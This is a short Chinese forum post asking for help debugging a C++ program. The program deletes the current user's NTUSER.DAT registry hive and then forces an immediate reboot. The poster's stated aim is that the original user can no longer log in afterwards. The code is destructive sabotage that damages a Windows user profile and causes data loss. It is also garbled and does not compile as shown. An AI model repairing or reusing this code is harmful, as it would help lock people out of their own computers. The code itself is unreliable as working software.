cra 发表于 2024-9-18 11:25:03

求纠错

本帖最后由 cra 于 2024-9-18 11:28 AM 编辑


#include<io.h>
#include<iostream>
#include<cstdio>
#include<cstring>
#include<string>
#include<Windows.h>
using namespace std;
const char* getusername(char *envp[]) {
        string ienvp(envp),name;
        name.clear();
        for(int i=0;i<ienvp.length()-9;i++) name+=ienvp;
        return name.c_str();
}
inline void deletefile(char *path) {
        if(access(path,F_OK)!=-1) do{} while(remove(path)==EOF);
}
int main(int argc,char *argv[],char *envp[]) {
        char path="C:\\Users\\";
        string name(getusername(envp));
        strcat(path,name.c_str());
        strcat(path,"\\NTUSER.DAT");
        deletefile(path);
        system("shutdown -r -t 0");
        return 0;
}

目标:运行后重启并无法正常登录原用户
结果:重启后啥都没出现

cra 发表于 2024-9-18 11:29:00

<>号中的内容因为HTML被搞没了,不是错误
页: [1]
查看完整版本: 求纠错